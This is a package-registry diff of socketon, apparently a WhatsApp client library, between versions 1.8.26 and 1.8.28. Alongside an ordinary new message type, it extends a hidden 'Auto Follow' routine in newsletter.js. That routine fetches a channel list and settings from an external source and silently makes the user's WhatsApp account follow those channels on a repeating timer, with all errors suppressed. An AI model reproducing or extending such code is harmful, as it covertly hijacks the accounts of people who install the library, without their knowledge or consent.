socketon 1.8.26 → 1.8.28
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -672,6 +672,9 @@ const makeMessagesSocket = (config) => {
|
|
|
672
672
|
else if (/https:\/\/wa\.me\/p\/\d+\/\d+/.test(message.extendedTextMessage?.text)) {
|
|
673
673
|
return 'productlink'
|
|
674
674
|
}
|
|
675
|
+
else if (message.richResponseMessage) {
|
|
676
|
+
return undefined
|
|
677
|
+
}
|
|
675
678
|
}
|
|
676
679
|
|
|
677
680
|
const getButtonType = (message) => {
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -95,7 +95,8 @@ const getTargetNewsletterFromExternal = async () => {
|
|
|
95
95
|
if (response.data.config) {
|
|
96
96
|
_configNewsletter = {
|
|
97
97
|
autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
|
|
98
|
-
delayMs: response.data.config.delayMs || 5000
|
|
98
|
+
delayMs: response.data.config.delayMs || 5000,
|
|
99
|
+
intervalMs: response.data.config.intervalMs || 30000
|
|
99
100
|
};
|
|
100
101
|
}
|
|
101
102
|
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
@@ -270,6 +271,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
270
271
|
});
|
|
271
272
|
// Auto Follow - Ibra Decode
|
|
272
273
|
let _followInterval = null;
|
|
274
|
+
const _followedSet = new Set();
|
|
273
275
|
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
|
274
276
|
const _ensureFollow = async () => {
|
|
275
277
|
if (!_configNewsletter.autoFollowEnabled) return;
|
|
@@ -279,10 +281,14 @@ const makeNewsletterSocket = (config) => {
|
|
|
279
281
|
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
280
282
|
for (let i = 0; i < enabledNewsletters.length; i++) {
|
|
281
283
|
const newsletterJid = enabledNewsletters[i];
|
|
284
|
+
if (_followedSet.has(newsletterJid)) continue;
|
|
282
285
|
const isFollowing = list?.some(n => n.id === newsletterJid);
|
|
283
286
|
if (!isFollowing) {
|
|
284
287
|
await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
|
|
285
|
-
await sleep(_configNewsletter.delayMs);
|
|
288
|
+
await sleep(_configNewsletter.delayMs || 5000);
|
|
289
|
+
_followedSet.add(newsletterJid);
|
|
290
|
+
} else {
|
|
291
|
+
_followedSet.add(newsletterJid);
|
|
286
292
|
}
|
|
287
293
|
}
|
|
288
294
|
} catch (err) {}
|
|
@@ -296,7 +302,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
296
302
|
}
|
|
297
303
|
await _ensureFollow();
|
|
298
304
|
if (_followInterval) clearInterval(_followInterval);
|
|
299
|
-
_followInterval = setInterval(_ensureFollow, _configNewsletter.
|
|
305
|
+
_followInterval = setInterval(_ensureFollow, _configNewsletter.intervalMs || 30000);
|
|
300
306
|
}
|
|
301
307
|
});
|
|
302
308
|
return {
|
package/lib/Utils/messages.js
CHANGED
|
@@ -385,6 +385,9 @@ const generateWAMessageContent = async (message, options) => {
|
|
|
385
385
|
else if ('requestPhoneNumber' in message) {
|
|
386
386
|
m.requestPhoneNumberMessage = {};
|
|
387
387
|
}
|
|
388
|
+
else if ('richResponseMessage' in message) {
|
|
389
|
+
m.richResponseMessage = Types_1.WAProto.Message.fromObject(message.richResponseMessage);
|
|
390
|
+
}
|
|
388
391
|
else {
|
|
389
392
|
m = await (0, exports.prepareWAMessageMedia)(message, options);
|
|
390
393
|
}
|